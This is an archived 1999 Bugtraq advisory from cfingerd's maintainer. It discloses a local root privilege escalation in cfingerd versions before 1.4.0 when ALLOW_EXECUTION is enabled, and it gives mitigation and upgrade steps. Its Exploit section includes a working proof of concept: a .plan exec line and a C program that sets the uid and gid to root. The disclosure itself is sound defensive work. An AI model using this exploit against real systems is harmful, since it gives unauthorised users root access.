Subject:      Severe bug in cfingerd before 1.4.0
To: BUGTRAQ@SECURITYFOCUS.COM 


 Severe bug in cfingerd before 1.ems Content-Type: text/plain; charset=us-ascii

*** PGP Signature Status: unknown
*** Signer: Unknown, Key ID xAE8F7CF5
*** Signed: 8/10/99 11:34:37 AM
*** Verified: 9/21/99 7:41:23 PM
*** BEGIN PGP VERIFIED MESSAGE ***


Bugtraq Security Advisory
=========================

  A serious bug in cfingerd before version 1.4.0 has been reported.
  It is present in all versions of cfingerd from 1.2.0 up to any
  version of 1.3.2.  If configured accordingly this bug enables any
  local user to execute random programs with root priviledges.

  Although I haven't been quite verbose with development of cfingerd,
  Ken Hollis (the original author) has handed maintainership over to
  me a while ago.  I did some development and fixed some security
  related bugs, but never made an official release.  This is done now.

Affected systems
----------------

  All systems running a version of cfingerd beginning with version
  1.2.0 and before version 1.4.0 are affected.

  You are safe if you have disabled ALLOW_EXECUTION in your
  cfingerd.conf file in section "internal_config", i.e. that file
  contains a line "-ALLOW_EXECUTION".

  This is the default configuration of this package.  If you use the
  default cfingerd.conf file as shipped with the distribution you are
  safe.  You should still upgrade.

Recommended action
------------------

  1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.

  2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found
      at the primary site
      ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or
      ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .

Exploit
-------

  The exploit is quite simple.  Thanks go to Tadek Knapik
  <tadek@nautilus.uwoj.krakow.pl> who has informed me.

  You need to add

    $exec /tmp/relinq

  to your ~/.plan file.  Then compile the following relinq.c file in
  /tmp:

    #include <stdio.h>

    void main()
    {
 printf("Root exploit test\n");
 setregid(0, 0);
 setreuid(0, 0);
 printf("User: %d, group: %d.\n", getuid(), getgid());
    }

Checksum
--------

  File:   ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz
  MD5sum: dcc25e89ba1dad6497365429b1db2909

Regards,

 Joey

-- 
Experience is something you don't get until just after you need it.


*** END PGP VERIFIED MESSAGE ***